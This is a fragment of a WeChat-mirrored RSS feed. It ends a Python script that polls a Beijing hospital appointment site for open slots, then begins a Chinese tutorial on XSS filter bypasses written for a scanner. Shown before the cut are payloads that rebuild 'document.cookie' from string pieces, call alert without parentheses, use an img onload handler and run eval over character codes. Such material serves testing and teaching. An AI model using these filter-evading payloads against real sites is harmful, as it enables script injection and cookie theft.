20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">text </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">and</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> u</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;剩余&#34;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">in</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> res</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">text</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">print</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">url</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> name</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            os</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">system</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;say 抢号啦抢号啦抢号啦抢号啦抢号啦抢号啦抢号啦抢号啦抢号啦抢号啦抢号啦&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">except</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">pass</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">while</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">True</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># 改成你需要抢号的链接</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    check</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;<a href="http://www.bjguahao.gov.cn/dpt/appoint/109-200000665.htm?week=1" target="_blank">http://www.bjguahao.gov.cn/dpt/appoint/109-200000665.htm?week=1</a>&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;1&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    check</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;<a href="http://www.bjguahao.gov.cn/dpt/appoint/109-200000665.htm?week=2" target="_blank">http://www.bjguahao.gov.cn/dpt/appoint/109-200000665.htm?week=2</a>&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;2&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">print</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;.&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    time</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">sleep</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">5</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></strong></strong></p></li></ol></pre><p><br/></p><p><br/></p>



<p><a href="2247483793">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ff897cc5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483793%26idx%3D1%26sn%3D0f156583fce8fea9fc572541ba479729%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 08 Jun 2018 19:28:00 +0800</pubDate>
    </item>
    <item>
      <title>XSS绕过与动态扫描</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483776&amp;idx=1&amp;sn=560281b07706936f502b82b4f7e294e2</link>
      <description>啊~~~五环~~~</description>
      <content:encoded><![CDATA[<p>
原创 <span>Fr1day</span> <span>2018-05-16 20:32</span> <span style="display: inline-block;"></span>
</p>

<p>啊~~~五环~~~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=eccffbba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQm883KBxJbsCcN3Uj29Qc8oJHTgpAqjRK2cgd6O6HAu3ibQdmqZ76EiaP8aQm1qfBx9nusVQuL5ESfw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">翻翻以前的笔记，看到很多绕过XSS过滤相关的内容。又想起前段时间给XSS扫描程序加的 bypass Payload。还算得上是巧（feng）妙（sao），简单分享一下~</p><h4 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 18px;white-space: normal;">0x00 常规绕过套路</h4><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">JavaScript 关键字过滤、 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;"><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 22px;font-size: 14px !important;">+</span></code>过滤</span></span></p></li></ul><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># document.cookie</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">document</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;coo&#39;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;CONCAT&#39;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">toLowerCase</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">()](</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;kie&#39;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)]</span></code></span></span></p></li></ol></pre><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">括号过滤</span></span></p></li></ul><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># alert(1)</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alert</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">`1`</span></code></span></span></p></li></ol></pre><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;"><code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;"><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 22px;font-size: 14px !important;">;</span></code>过滤</span></span></p></li></ul><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;img</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">src</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">onload</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">test</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(),</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alert</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li></ol></pre><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">引号过滤</span></span></p></li></ul><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">eval</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="typ" style="box-sizing: border-box;color: rgb(64, 126, 231);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">fromCharCode</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">97</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">108</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">101</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">114</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">116</span><span 